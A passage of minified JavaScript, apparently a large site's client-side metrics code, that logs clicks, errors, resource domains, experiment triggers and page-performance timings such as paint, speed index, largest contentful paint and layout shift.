                    c.ue_utils = {
                        getXPath: h,
                        getFirstAscendingWidget: function(a, b) {
                            c.ue_cel && c.ue_fem ? !0 === g ? b(f(a)) : d.push({
                                element: a,
                                callback: b
                            }) : b()
                        },
                        notifyWidgetsLabeled: function() {
                            if (!1 === g) {
                                g = !0;
                                for (var a = f, b = 0; b < d.length; b++)
                                    if (d[b].hasOwnProperty("callback") && d[b].hasOwnProperty("element")) {
                                        var c = d[b].callback,
                                            e = d[b].element;
                                        "function" === typeof c && "function" === typeof a && c(a(e))
                                    } d = null
                            }
                        },
                        extractStringValue: function(a) {
                            if ("string" ===
                                typeof a) return a
                        }
                    }
                })(ue_csm, window, document);





                ue_csm.ue_unrt = 1500;
                (function(d, b, t) {
                    function u(a, g) {
                        var c = a.srcElement || a.target || {},
                            b = {
                                k: v,
                                t: g.t,
                                dt: g.dt,
                                x: a.pageX,
                                y: a.pageY,
                                p: e.getXPath(c),
                                n: c.nodeName
                            };
                        a.button && (b.b = a.button);
                        c.type && (b.ty = c.type);
                        c.href && (b.r = e.extractStringValue(c.href));
                        c.id && (b.i = c.id);
                        c.className && c.className.split && (b.c = c.className.split(/\s+/));
                        h += 1;
                        e.getFirstAscendingWidget(c, function(a) {
                            b.wd = a;
                            d.ue.log(b, r)
                        })
                    }

                    function w(a) {
                        if (!x(a.srcElement || a.target)) {
                            m += 1;
                            n = !0;
                            var g = f = d.ue.d(),
                                c;
                            p && "function" === typeof p.now && a.timeStamp && (c = p.now() -
                                a.timeStamp, c = parseFloat(c.toFixed(2)));
                            s = b.setTimeout(function() {
                                u(a, {
                                    t: g,
                                    dt: c
                                })
                            }, y)
                        }
                    }

                    function z(a) {
                        if (a) {
                            var b = a.filter(A);
                            a.length !== b.length && (q = !0, k = d.ue.d(), n && q && (k && f && d.ue.log({
                                k: B,
                                t: f,
                                m: Math.abs(k - f)
                            }, r), l(), q = !1, k = 0))
                        }
                    }

                    function A(a) {
                        if (!a) return !1;
                        var b = "characterData" === a.type ? a.target.parentElement : a.target;
                        if (!b || !b.hasAttributes || !b.attributes) return !1;
                        var c = {
                                "class": "gw-clock gw-clock-aria s-item-container-height-auto feed-carousel using-mouse kfs-inner-container".split(" "),
                                id: ["dealClock",
                                    "deal_expiry_timer", "timer"
                                ],
                                role: ["timer"]
                            },
                            d = !1;
                        Object.keys(c).forEach(function(a) {
                            var e = b.attributes[a] ? b.attributes[a].value : "";
                            (c[a] || "").forEach(function(a) {
                                -1 !== e.indexOf(a) && (d = !0)
                            })
                        });
                        return d
                    }

                    function x(a) {
                        if (!a) return !1;
                        var b = (e.extractStringValue(a.nodeName) || "").toLowerCase(),
                            c = (e.extractStringValue(a.type) || "").toLowerCase(),
                            d = (e.extractStringValue(a.href) || "").toLowerCase();
                        a = (e.extractStringValue(a.id) || "").toLowerCase();
                        var f = "checkbox color date datetime-local email file month number password radio range reset search tel text time url week".split(" ");
                        if (-1 !== ["select", "textarea", "html"].indexOf(b) || "input" === b && -1 !== f.indexOf(c) || "a" === b && -1 !== d.indexOf("http") || -1 !== ["sitbreaderrightpageturner", "sitbreaderleftpageturner", "sitbreaderpagecontainer"].indexOf(a)) return !0
                    }

                    function l() {
                        n = !1;
                        f = 0;
                        b.clearTimeout(s)
                    }

                    function C() {
                        b.ue.onunload(function() {
                            ue.count("armored-cxguardrails.unresponsive-clicks.violations", h);
                            ue.count("armored-cxguardrails.unresponsive-clicks.violationRate", h / m * 100 || 0)
                        })
                    }
                    if (b.MutationObserver && b.addEventListener && Object.keys &&
                        d && d.ue && d.ue.log && d.ue_unrt && d.ue_utils) {
                        var y = d.ue_unrt,
                            r = "cel",
                            v = "unr_mcm",
                            B = "res_mcm",
                            p = b.performance,
                            e = d.ue_utils,
                            n = !1,
                            f = 0,
                            s = 0,
                            q = !1,
                            k = 0,
                            h = 0,
                            m = 0;
                        b.addEventListener && (b.addEventListener("mousedown", w, !0), b.addEventListener("beforeunload", l, !0), b.addEventListener("visibilitychange", l, !0), b.addEventListener("pagehide", l, !0));
                        b.ue && b.ue.event && b.ue.onSushiUnload && b.ue.onunload && C();
                        (new MutationObserver(z)).observe(t, {
                            childList: !0,
                            attributes: !0,
                            characterData: !0,
                            subtree: !0
                        })
                    }
                })(ue_csm, window, document);


                ue_csm.ue.exec(function(g, e) {
                    if (e.ue_err) {
                        var f = "";
                        e.ue_err.errorHandlers || (e.ue_err.errorHandlers = []);
                        e.ue_err.errorHandlers.push({
                            name: "fctx",
                            handler: function(a) {
                                if (!a.logLevel || "FATAL" === a.logLevel)
                                    if (f = g.getElementsByTagName("html")[0].innerHTML) {
                                        var b = f.indexOf("var ue_t0=ue_t0||+new Date();");
                                        if (-1 !== b) {
                                            var b = f.substr(0, b).split(String.fromCharCode(10)),
                                                d = Math.max(b.length - 10 - 1, 0),
                                                b = b.slice(d, b.length - 1);
                                            a.fcsmln = d + b.length + 1;
                                            a.cinfo = a.cinfo || {};
                                            for (var c = 0; c < b.length; c++) a.cinfo[d + c + 1 + ""] =
                                                b[c]
                                        }
                                        b = f.split(String.fromCharCode(10));
                                        a.cinfo = a.cinfo || {};
                                        if (!(a.f || void 0 === a.l || a.l in a.cinfo))
                                            for (c = +a.l - 1, d = Math.max(c - 5, 0), c = Math.min(c + 5, b.length - 1); d <= c; d++) a.cinfo[d + 1 + ""] = b[d]
                                    }
                            }
                        })
                    }
                }, "fatals-context")(document, window);


                (function(m, b) {
                    function c(k) {
                        function f(a) {
                            a && "string" === typeof a && (a = (a = a.match(/^(?:https?:)?\/\/(.*?)(\/|$)/i)) && 1 < a.length ? a[1] : null, a && a && ("number" === typeof e[a] ? e[a]++ : e[a] = 1))
                        }

                        function d(a) {
                            var e = 10,
                                d = +new Date;
                            a && a.timeRemaining ? e = a.timeRemaining() : a = {
                                timeRemaining: function() {
                                    return Math.max(0, e - (+new Date - d))
                                }
                            };
                            for (var c = b.performance.getEntries(), k = e; g < c.length && k > n;) c[g].name && f(c[g].name), g++, k = a.timeRemaining();
                            g >= c.length ? h(!0) : l()
                        }

                        function h(a) {
                            if (!a) {
                                a = m.scripts;
                                var c;
                                if (a)
                                    for (var d =
                                            0; d < a.length; d++)(c = a[d].getAttribute("src")) && "undefined" !== c && f(c)
                            }
                            0 < Object.keys(e).length && (p && ue_csm.ue && ue_csm.ue.event && (a = {
                                domains: e,
                                pageType: b.ue_pty || null,
                                subPageType: b.ue_spty || null,
                                pageTypeId: b.ue_pti || null
                            }, ue_csm.ue_sjslob && (a.lob = ue_csm.ue_lob || "0"), ue_csm.ue.event(a, "csm", "csm.CrossOriginDomains.2")), b.ue_ext = e)
                        }

                        function l() {
                            !0 === k ? d() : b.requestIdleCallback ? b.requestIdleCallback(d) : b.requestAnimationFrame ? b.requestAnimationFrame(d) : b.setTimeout(d, 100)
                        }

                        function c() {
                            if (b.performance &&
                                b.performance.getEntries) {
                                var a = b.performance.getEntries();
                                !a || 0 >= a.length ? h(!1) : l()
                            } else h(!1)
                        }
                        var e = b.ue_ext || {};
                        b.ue_ext || c();
                        return e
                    }

                    function q() {
                        setTimeout(c, r)
                    }
                    var s = b.ue_dserr || !1,
                        p = !0,
                        n = 1,
                        r = 2E3,
                        g = 0;
                    b.ue_err && s && (b.ue_err.errorHandlers || (b.ue_err.errorHandlers = []), b.ue_err.errorHandlers.push({
                        name: "ext",
                        handler: function(b) {
                            if (!b.logLevel || "FATAL" === b.logLevel) {
                                var f = c(!0),
                                    d = [],
                                    h;
                                for (h in f) {
                                    var f = h,
                                        g = f.match(/amazon(\.com?)?\.\w{2,3}$/i);
                                    g && 1 < g.length || -1 !== f.indexOf("amazon-adsystem.com") ||
                                        -1 !== f.indexOf("amazonpay.com") || -1 !== f.indexOf("cloudfront-labs.amazonaws.com") || d.push(h)
                                }
                                b.ext = d
                            }
                        }
                    }));
                    b.ue && b.ue.isl ? c() : b.ue && ue.attach && ue.attach("load", q)
                })(document, window);





                var ue_wtc_c = 3;
                ue_csm.ue.exec(function(b, e) {
                    function l() {
                        for (var a = 0; a < f.length; a++) a: for (var d = s.replace(A, f[a]) + g[f[a]] + t, c = arguments, b = 0; b < c.length; b++) try {
                            c[b].send(d);
                            break a
                        } catch (e) {}
                        g = {};
                        f = [];
                        n = 0;
                        k = p
                    }

                    function u() {
                        B ? l(q) : l(C, q)
                    }

                    function v(a, m, c) {
                        r++;
                        if (r > w) d.count && 1 == r - w && (d.count("WeblabTriggerThresholdReached", 1), b.ue_int && console.error("Number of max call reached. Data will no longer be send"));
                        else {
                            var h = c || {};
                            h && -1 < h.constructor.toString().indexOf(D) && a && -1 < a.constructor.toString().indexOf(x) && m && -1 <
                                m.constructor.toString().indexOf(x) ? (h = b.ue_id, c && c.rid && (h = c.rid), c = h, a = encodeURIComponent(",wl=" + a + "/" + m), 2E3 > a.length + p ? (2E3 < k + a.length && u(), void 0 === g[c] && (g[c] = "", f.push(c)), g[c] += a, k += a.length, n || (n = e.setTimeout(u, E))) : b.ue_int && console.error("Invalid API call. The input provided is over 2000 chars.")) : d.count && (d.count("WeblabTriggerImproperAPICall", 1), b.ue_int && console.error("Invalid API call. The input provided does not match the API protocol i.e ue.trigger(String, String, Object)."))
                        }
                    }

                    function F() {
                        d.trigger &&
                            d.trigger.isStub && d.trigger.replay(function(a) {
                                v.apply(this, a)
                            })
                    }

                    function y() {
                        z || (f.length && l(q), z = !0)
                    }
                    var t = ":1234",
                        s = "//" + b.ue_furl + "/1/remote-weblab-triggers/1/OE/" + b.ue_mid + ":" + b.ue_sid + ":PLCHLDR_RID$s:wl-client-id%3DCSMTriger",
                        A = "PLCHLDR_RID",
                        E = b.wtt || 1E4,
                        p = s.length + t.length,
                        w = b.mwtc || 2E3,
                        G = 1 === e.ue_wtc_c,
                        B = 3 === e.ue_wtc_c,
                        H = e.XMLHttpRequest && "withCredentials" in new e.XMLHttpRequest,
                        x = "String",
                        D = "Object",
                        d = b.ue,
                        g = {},
                        f = [],
                        k = p,
                        n, z = !1,
                        r = 0,
                        C = function() {
                            return {
                                send: function(a) {
                                    if (H) {
                                        var b = new e.XMLHttpRequest;
                                        b.open("GET", a, !0);
                                        G && (b.withCredentials = !0);
                                        b.send()
                                    } else throw "";
                                }
                            }
                        }(),
                        q = function() {
                            return {
                                send: function(a) {
                                    (new Image).src = a
                                }
                            }
                        }();
                    e.encodeURIComponent && (d.attach && (d.attach("beforeunload", y), d.attach("pagehide", y)), F(), d.trigger = v)
                }, "client-wbl-trg")(ue_csm, window);


                (function(k, d, h) {
                    function f(a, c, b) {
                        a && a.indexOf && 0 === a.indexOf("http") && 0 !== a.indexOf("https") && l(s, c, a, b)
                    }

                    function g(a, c, b) {
                        a && a.indexOf && (location.href.split("#")[0] != a && null !== a && "undefined" !== typeof a || l(t, c, a, b))
                    }

                    function l(a, c, b, e) {
                        m[b] || (e = u && e ? n(e) : "N/A", d.ueLogError && d.ueLogError({
                            message: a + c + " : " + b,
                            logLevel: v,
                            stack: "N/A"
                        }, {
                            attribution: e
                        }), m[b] = 1, p++)
                    }

                    function e(a, c) {
                        if (a && c)
                            for (var b = 0; b < a.length; b++) try {
                                c(a[b])
                            } catch (d) {}
                    }

                    function q() {
                        return d.performance && d.performance.getEntriesByType ?
                            d.performance.getEntriesByType("resource") : []
                    }

                    function n(a) {
                        if (a.id) return "//*[@id='" + a.id + "']";
                        var c;
                        c = 1;
                        var b;
                        for (b = a.previousSibling; b; b = b.previousSibling) b.nodeName == a.nodeName && (c += 1);
                        b = a.nodeName;
                        1 != c && (b += "[" + c + "]");
                        a.parentNode && (b = n(a.parentNode) + "/" + b);
                        return b
                    }

                    function w() {
                        var a = h.images;
                        a && a.length && e(a, function(a) {
                            var b = a.getAttribute("src");
                            f(b, "img", a);
                            g(b, "img", a)
                        })
                    }

                    function x() {
                        var a = h.scripts;
                        a && a.length && e(a, function(a) {
                            var b = a.getAttribute("src");
                            f(b, "script", a);
                            g(b, "script", a)
                        })
                    }

                    function y() {
                        var a = h.styleSheets;
                        a && a.length && e(a, function(a) {
                            if (a = a.ownerNode) {
                                var b = a.getAttribute("href");
                                f(b, "style", a);
                                g(b, "style", a)
                            }
                        })
                    }

                    function z() {
                        if (A) {
                            var a = q();
                            e(a, function(a) {
                                f(a.name, a.initiatorType)
                            })
                        }
                    }

                    function B() {
                        e(q(), function(a) {
                            g(a.name, a.initiatorType)
                        })
                    }

                    function r() {
                        var a;
                        a = d.location && d.location.protocol ? d.location.protocol : void 0;
                        "https:" == a && (z(), w(), x(), y(), B(), p < C && setTimeout(r, D))
                    }
                    var s = "[CSM] Insecure content detected ",
                        t = "[CSM] Ajax request to same page detected ",
                        v = "WARN",
                        m = {},
                        p = 0,
                        D = k.ue_nsip || 1E3,
                        C = 5,
                        A = 1 == k.ue_urt,
                        u = !0;
                    ue_csm.ue_disableNonSecure || (d.performance && d.performance.setResourceTimingBufferSize && d.performance.setResourceTimingBufferSize(300), r())
                })(ue_csm, window, document);


                var ue_aa_a = "";
                if (ue.trigger && (ue_aa_a === "C" || ue_aa_a === "T1")) {
                    ue.trigger("UEDATA_AA_SERVERSIDE_ASSIGNMENT_CLIENTSIDE_TRIGGER_190249", ue_aa_a);
                }
                (function(f, b) {
                    function g() {
                        try {
                            b.PerformanceObserver && "function" === typeof b.PerformanceObserver && (a = new b.PerformanceObserver(function(b) {
                                c(b.getEntries())
                            }), a.observe(d))
                        } catch (h) {
                            k()
                        }
                    }

                    function m() {
                        for (var h = d.entryTypes, a = 0; a < h.length; a++) c(b.performance.getEntriesByType(h[a]))
                    }

                    function c(a) {
                        if (a && Array.isArray(a)) {
                            for (var c = 0, e = 0; e < a.length; e++) {
                                var d = l.indexOf(a[e].name);
                                if (-1 !== d) {
                                    var g = Math.round(b.performance.timing.navigationStart + a[e].startTime);
                                    f.uet(n[d], void 0, void 0, g);
                                    c++
                                }
                            }
                            l.length ===
                                c && k()
                        }
                    }

                    function k() {
                        a && a.disconnect && "function" === typeof a.disconnect && a.disconnect()
                    }
                    if ("function" === typeof f.uet && b.performance && "object" === typeof b.performance && b.performance.getEntriesByType && "function" === typeof b.performance.getEntriesByType && b.performance.timing && "object" === typeof b.performance.timing && "number" === typeof b.performance.timing.navigationStart) {
                        var d = {
                                entryTypes: ["paint"]
                            },
                            l = ["first-paint", "first-contentful-paint"],
                            n = ["fp", "fcp"],
                            a;
                        try {
                            m(), g()
                        } catch (p) {
                            f.ueLogError(p, {
                                logLevel: "ERROR",
                                attribution: "performanceMetrics"
                            })
                        }
                    }
                })(ue_csm, window);


                if (window.csa) {
                    csa("Events")("setEntity", {
                        page: {
                            pageType: "AuthenticationPortal",
                            subPageType: "Error404Page",
                            pageTypeId: ""
                        }
                    });
                }
                csa.plugin(function(c) {
                    var m = "transitionStart",
                        n = "pageVisible",
                        e = "PageTiming",
                        t = "visibilitychange",
                        s = "$latency.visible",
                        i = c.global,
                        r = (i.performance || {}).timing,
                        a = ["navigationStart", "unloadEventStart", "unloadEventEnd", "redirectStart", "redirectEnd", "fetchStart", "domainLookupStart", "domainLookupEnd", "connectStart", "connectEnd", "secureConnectionStart", "requestStart", "responseStart", "responseEnd", "domLoading", "domInteractive", "domContentLoadedEventStart", "domContentLoadedEventEnd", "domComplete", "loadEventStart", "loadEventEnd"],
                        u = c.config,
                        o = i.Math,
                        l = o.max,
                        g = o.floor,
                        d = i.document || {},
                        f = (r || {}).navigationStart,
                        v = f,
                        p = 0,
                        S = null;
                    if (i.Object.keys && [].forEach && !u["KillSwitch." + e]) {
                        if (!r || null === f || f <= 0 || void 0 === f) return c.error("Invalid navigation timing data: " + f);
                        S = new E({
                            schemaId: "<ns>.PageLatency.6",
                            producerId: "csa"
                        }), "boolean" != typeof d.hidden && "string" != typeof d.visibilityState || !d.removeEventListener ? c.emit(s) : b() ? (c.emit(s), I(n, f)) : c.on(d, t, function e() {
                            b() && (v = c.time(), d.removeEventListener(t, e), I(m, v), I(n, v), c.emit(s))
                        }), c.once("$unload", h), c.once("$load", h), c.on("$pageTransition", function() {
                            v = c.time()
                        }), c.register(e, {
                            mark: I,
                            instance: function(e) {
                                return new E(e)
                            }
                        })
                    }

                    function E(e) {
                        var i, r = null,
                            a = e.ent || {
                                page: ["pageType", "subPageType", "requestId"]
                            },
                            o = e.logger || c("Events", {
                                producerId: e.producerId,
                                lob: u.lob || "0"
                            });
                        if (!e || !e.producerId || !e.schemaId) return c.error("The producer id and schema Id must be defined for PageLatencyInstance.");

                        function d() {
                            return i || v
                        }

                        function n() {
                            r = c.UUID()
                        }
                        this.mark = function(n, t) {
                            if (null != n) return t = t || c.time(), n === m && (i = t), c.once(s, function() {
                                o("log", {
                                    messageId: r,
                                    __merge: function(e) {
                                        e.markers[n] = function(e, n) {
                                            return l(0, n - (e || v))
                                        }(d(), t), e.markerTimestamps[n] = g(t)
                                    },
                                    markers: {},
                                    markerTimestamps: {},
                                    navigationStartTimestamp: d() ? new Date(d()).toISOString() : null,
                                    schemaId: e.schemaId
                                }, {
                                    ent: a
                                })
                            }), t
                        }, n(), c.on("$beforePageTransition", n)
                    }

                    function I(e, n) {
                        e === m && (v = n);
                        var t = S.mark(e, n);
                        c.emit("$timing:" + e, t)
                    }

                    function h() {
                        if (!p) {
                            for (var e = 0; e < a.length; e++) r[a[e]] && I(a[e], r[a[e]]);
                            p = 1
                        }
                    }

                    function b() {
                        return !d.hidden || "visible" === d.visibilityState
                    }
                });
                csa.plugin(function(u) {
                    var f, c, l = "length",
                        a = "parentElement",
                        t = "target",
                        i = "getEntriesByName",
                        e = "perf",
                        n = null,
                        r = "_csa_flt",
                        o = "_csa_llt",
                        s = "previousSibling",
                        d = "visuallyLoaded",
                        g = "client",
                        h = "offset",
                        m = "scroll",
                        p = "Width",
                        v = "Height",
                        y = g + p,
                        E = g + v,
                        S = h + p,
                        b = h + v,
                        x = m + p,
                        O = m + v,
                        _ = "_osrc",
                        w = "_elt",
                        L = "_eid",
                        T = 10,
                        I = 5,
                        N = 15,
                        k = 100,
                        B = u.global,
                        H = u.timeout,
                        W = B.Math,
                        Y = W.max,
                        C = W.floor,
                        F = W.ceil,
                        M = B.document || {},
                        R = M.body || {},
                        V = M.documentElement || {},
                        $ = B.performance || {},
                        P = ($.timing || {}).navigationStart,
                        X = Date.now,
                        D = Object.values || (u.types || {}).ovl,
                        J = u("PageTiming"),
                        j = u("SpeedIndexBuffers"),
                        q = [],
                        Q = [],
                        U = [],
                        z = [],
                        A = [],
                        G = [],
                        K = .1,
                        Z = .1,
                        ee = 0,
                        ne = 0,
                        te = !0,
                        ie = 0,
                        re = 0,
                        oe = 1 == u.config["SpeedIndex.ForceReplay"],
                        ae = 0,
                        fe = 1,
                        ue = 0,
                        ce = {},
                        le = [],
                        se = 0,
                        de = {
                            buffered: 1
                        };

                    function ge(e) {
                        u.global.ue_csa_ss_tag || u.emit("$csmTag:" + e, 0, de)
                    }

                    function he() {
                        for (var e = X(), n = 0; f;) {
                            if (0 !== f[l]) {
                                if (!1 !== f.h(f[0]) && f.shift(), n++, !oe && n % T == 0 && X() - e > I) break
                            } else f = f.n
                        }
                        ee = 0, f && (ee || (!0 === M.hidden ? (oe = 1, he()) : u.timeout(he, 0)))
                    }

                    function me(e, n, t, i, r) {
                        ue = C(e), q = n, Q = t, U = i, G = r;
                        var o = M.createTreeWalker(M.body, NodeFilter.SHOW_TEXT, null, null),
                            a = {
                                w: B.innerWidth,
                                h: B.innerHeight,
                                x: B.pageXOffset,
                                y: B.pageYOffset
                            };
                        M.body[w] = e, z.push({
                            w: o,
                            vp: a
                        }), A.push({
                            img: M.images,
                            iter: 0
                        }), q.h = pe, (q.n = Q).h = ve, (Q.n = U).h = ye, (U.n = z).h = Ee, (z.n = A).h = Se, (A.n = G).h = be, f = q, he()
                    }

                    function pe(e) {
                        e.m.forEach(function(e) {
                            for (var n = e; n && (e === n || !n[r] || !n[o]);) n[r] || (n[r] = e[r]), n[o] || (n[o] = e[o]), n[w] = n[r] - P, n = n[s]
                        })
                    }

                    function ve(e) {
                        e.m.forEach(function(e) {
                            var n = e[t];
                            _ in n || (n[_] = e.oldValue)
                        })
                    }

                    function ye(n) {
                        n.m.forEach(function(e) {
                            e[t][w] = n.t - P
                        })
                    }

                    function Ee(e) {
                        for (var n, t = e.vp, i = e.w, r = T;
                            (n = i.nextNode()) && 0 < r;) {
                            r -= 1;
                            var o = (n[a] || {}).nodeName;
                            "SCRIPT" !== o && "STYLE" !== o && "NOSCRIPT" !== o && "BODY" !== o && 0 !== (n.nodeValue || "").trim()[l] && Le(n[a], xe(n), t)
                        }
                        return !n
                    }

                    function Se(e) {
                        for (var n = {
                                w: B.innerWidth,
                                h: B.innerHeight,
                                x: B.pageXOffset,
                                y: B.pageYOffset
                            }, t = T; e.iter < e.img[l] && 0 < t;) {
                            var i, r = e.img[e.iter],
                                o = we(r),
                                a = o && xe(o) || xe(r);
                            o ? (o[w] = a, i = _e(o.querySelector('[aria-posinset="1"] img') || r) || a, r = o) : i = _e(r) || a, re && c < i && (i = a), Le(r, i, n), e.iter += 1, t -= 1
                        }
                        return e.img[l] <= e.iter
                    }

                    function be(e) {
                        var n = [],
                            i = 0,
                            r = 0,
                            o = ne,
                            t = B.innerHeight || Y(R[O] || 0, R[b] || 0, V[E] || 0, V[O] || 0, V[b] || 0),
                            a = C(e.y / k),
                            f = F((e.y + t) / k);
                        le.slice(a, f).forEach(function(e) {
                            (e.elems || []).forEach(function(e) {
                                e.lt in n || (n[e.lt] = {}), e.id in n[e.lt] || (i += (n[e.lt][e.id] = e).a)
                            })
                        }), ge("startVL"), D(n).forEach(function(e) {
                            D(e).forEach(function(e) {
                                var n = 1 - r / i,
                                    t = Y(e.lt, o);
                                se += n * (t - o), o = t,
                                    function(e, n) {
                                        var t;
                                        for (; K <= 1 && K - .01 <= e;) Te(d + (t = (100 * K).toFixed(0)), n.lt), "50" !== t && "90" !== t || u("Content", {
                                            target: n.e
                                        })("mark", d + t, P + F(n.lt || 0)), K += Z
                                    }((r += e.a) / i, e)
                            })
                        }), ge("endVL"), ne = e.t - P, G[l] <= 1 && (Te("speedIndex", se), Te(d + "0", ue)), te && (te = !1, Te("atfSpeedIndex", se))
                    }

                    function xe(e) {
                        for (var n = e[a], t = N; n && 0 < t;) {
                            if (n[w] || 0 === n[w]) return Y(n[w], ue);
                            n = n.parentElement, t -= 1
                        }
                    }

                    function Oe(e, n) {
                        if (e) {
                            if (!e.indexOf("data:")) return xe(n);
                            var t = $[i](e) || [];
                            if (0 < t[l]) return Y(F(t[0].responseEnd || 0), ue)
                        }
                    }

                    function _e(e) {
                        return Oe(e[_], e) || Oe(e.currentSrc, e) || Oe(e.src, e)
                    }

                    function we(e) {
                        for (var n = 10, t = e.parentElement; t && 0 < n;) {
                            if (t.classList && t.classList.contains("a-carousel-viewport")) return t;
                            t = t.parentElement, n -= 1
                        }
                        return null
                    }

                    function Le(e, n, t) {
                        if ((n || 0 === n) && !e[L]) {
                            var i = e.getBoundingClientRect(),
                                r = i.width * i.height,
                                o = t.w || Y(R[x] || 0, R[S] || 0, V[y] || 0, V[x] || 0, V[S] || 0) || i.right,
                                a = i.width / 2,
                                f = fe++;
                            if (0 != r && !(a < i.right - o || i.right < a)) {
                                for (var u = {
                                        e: e,
                                        lt: n,
                                        a: r,
                                        id: f
                                    }, c = C((i.top + t.y) / k), l = F((i.top + t.y + i.height) / k), s = c; s <= l; s++) s in le || (le[s] = {
                                    elems: [],
                                    lt: 0
                                }), le[s].elems.push(u);
                                e[L] = f
                            }
                        }
                    }

                    function Te(e, n) {
                        J("mark", e, P + F((ce[e] = n) || 0))
                    }

                    function Ie(e) {
                        ae || (ge("browserQuite" + e), j("getBuffers", me), ae = 1)
                    }
                    P && D && $[i] ? (ge(e + "Yes"), j("registerListener", function() {
                        re && (clearTimeout(ie), ie = H(Ie.bind(n, "Mut"), 2500))
                    }), u.once("$unload", function() {
                        oe = 1, Ie("Ud")
                    }), u.once("$load", function() {
                        re = 1, c = X() - P, ie = H(Ie.bind(n, "Ld"), 2500)
                    }), u.once("$timing:functional", Ie.bind(n, "Fn")), j("replayModuleIsLive"), u.register("SpeedIndex", {
                        getMarkers: function(e) {
                            e && e(JSON.parse(JSON.stringify(ce)))
                        }
                    })) : ge(e + "No")
                });
                csa.plugin(function(e) {
                    var m = !!e.config["LCP.elementDedup"],
                        t = !1,
                        n = e("PageTiming"),
                        r = e.global.PerformanceObserver,
                        a = e.global.performance;

                    function i() {
                        return a.timing.navigationStart
                    }

                    function o() {
                        t || function(o) {
                            var l = new r(function(e) {
                                var t = e.getEntries();
                                if (0 !== t.length) {
                                    var n = t[t.length - 1];
                                    if (m && "" !== n.id && n.element && "IMG" === n.element.tagName) {
                                        for (var r = {}, a = t[0], i = 0; i < t.length; i++) t[i].id in r || ("" !== t[i].id && (r[t[i].id] = !0), a.startTime < t[i].startTime && (a = t[i]));
                                        n = a
                                    }
                                    l.disconnect(), o({
                                        startTime: n.startTime,
                                        renderTime: n.renderTime,
                                        loadTime: n.loadTime
                                    })
                                }
                            });
                            try {
                                l.observe({
                                    type: "largest-contentful-paint",
                                    buffered: !0
                                })
                            } catch (e) {}
                        }(function(e) {
                            e && (t = !0, n("mark", "largestContentfulPaint", Math.floor(e.startTime + i())), e.renderTime && n("mark", "largestContentfulPaint.render", Math.floor(e.renderTime + i())), e.loadTime && n("mark", "largestContentfulPaint.load", Math.floor(e.loadTime + i())))
                        })
                    }
                    r && a && a.timing && (e.once("$unload", o), e.once("$load", o), e.register("LargestContentfulPaint", {}))
                });
                csa.plugin(function(r) {
                    var e = r("Metrics", {
                            producerId: "csa"
                        }),
                        n = r.global.PerformanceObserver;
                    n && (n = new n(function(r) {
                        var t = r.getEntries();
                        if (0 === t.length || !t[0].processingStart || !t[0].startTime) return;
                        ! function(r) {
                            r = r || 0, n.disconnect(), 0 <= r ? e("recordMetric", "firstInputDelay", r) : e("recordMetric", "firstInputDelay.invalid", 1)
                        }(t[0].processingStart - t[0].startTime)
                    }), function() {
                        try {
                            n.observe({
                                type: "first-input",
                                buffered: !0
                            })
                        } catch (r) {}
                    }())
                });
                csa.plugin(function(d) {
                    var e = "Metrics",
                        g = d.config,
                        f = 0;

                    function r(i) {
                        var c, t, e = i.producerId,
                            r = i.logger,
                            o = r || d("Events", {
                                producerId: e,
                                lob: g.lob || "0"
                            }),
                            s = (i || {}).dimensions || {},
                            u = {},
                            n = -1;
                        if (!e && !r) return d.error("Either a producer id or custom logger must be defined");

                        function a() {
                            n !== f && (c = d.UUID(), t = d.UUID(), u = {}, n = f)
                        }
                        this.recordMetric = function(r, n) {
                            var e = i.logOptions || {
                                ent: {
                                    page: ["pageType", "subPageType", "requestId"]
                                }
                            };
                            e.debugMetric = i.debugMetric, a(), o("log", {
                                messageId: c,
                                schemaId: i.schemaId || "<ns>.Metric.4",
                                metrics: {},
                                dimensions: s,
                                __merge: function(e) {
                                    e.metrics[r] = n
                                }
                            }, e)
                        }, this.recordCounter = function(r, e) {
                            var n = i.logOptions || {
                                ent: {
                                    page: ["pageType", "subPageType", "requestId"]
                                }
                            };
                            if ("string" != typeof r || "number" != typeof e || !isFinite(e)) return d.error("Invalid type given for counter name or counter value: " + r + "/" + e);
                            a(), r in u || (u[r] = {});
                            var c = u[r];
                            "f" in c || (c.f = e), c.c = (c.c || 0) + 1, c.s = (c.s || 0) + e, c.l = e, o("log", {
                                messageId: t,
                                schemaId: i.schemaId || "<ns>.InternalCounters.3",
                                c: {},
                                __merge: function(e) {
                                    r in e.c || (e.c[r] = {}), c.fs || (c.fs = 1, e.c[r].f = c.f), 1 < c.c && (e.c[r].s = c.s, e.c[r].l = c.l, e.c[r].c = c.c)
                                }
                            }, n)
                        }
                    }
                    g["KillSwitch." + e] || (new r({
                        producerId: "csa"
                    }).recordMetric("baselineMetricEvent", 1), d.on("$beforePageTransition", function() {
                        f++
                    }), d.register(e, {
                        instance: function(e) {
                            return new r(e || {})
                        }
                    }))
                });
                csa.plugin(function(t) {
                    var a, n = t.config,
                        r = (t.global.performance || {}).timing,
                        s = (r || {}).navigationStart || t.time();

                    function e() {
                        a = t.UUID()
                    }

                    function i(i) {
                        var r = (i = i || {}).producerId,
                            e = i.logger,
                            o = e || t("Events", {
                                producerId: r,
                                lob: n.lob || "0"
                            });
                        if (!r && !e) return t.error("Either a producer id or custom logger must be defined");
                        this.mark = function(e, r) {
                            var n = (void 0 === r ? t.time() : r) - s;
                            o("log", {
                                messageId: a,
                                schemaId: i.schemaId || "<ns>.Timer.1",
                                markers: {},
                                __merge: function(r) {
                                    r.markers[e] = n
                                }
                            }, i.logOptions)
                        }
                    }
                    r && (e(), t.on("$beforePageTransition", e), t.register("Timers", {
                        instance: function(r) {
                            return new i(r || {})
                        }
                    }))
                });
                csa.plugin(function(t) {
                    var e = "takeRecords",
                        i = "disconnect",
                        n = "function",
                        o = t("Metrics", {
                            producerId: "csa"
                        }),
                        c = t("PageTiming"),
                        a = t.global,
                        u = t.timeout,
                        r = t.on,
                        f = a.PerformanceObserver,
                        m = 0,
                        l = !1,
                        s = 0,
                        d = a.performance,
                        h = a.document,
                        v = null,
                        y = !1,
                        g = t.blank;

                    function p() {
                        l || (l = !0, clearTimeout(v), typeof f[e] === n && f[e](), typeof f[i] === n && f[i](), o("recordMetric", "documentCumulativeLayoutShift", m), c("mark", "cumulativeLayoutShiftLastTimestamp", Math.floor(s + d.timing.navigationStart)))
                    }
                    f && d && d.timing && h && (f = new f(function(t) {
                        v && clearTimeout(v);
                        t.getEntries().forEach(function(t) {
                            t.hadRecentInput || (m += t.value, s < t.startTime && (s = t.startTime))
                        }), v = u(p, 5e3)
                    }), function() {
                        try {
                            f.observe({
                                type: "layout-shift",
                                buffered: !0
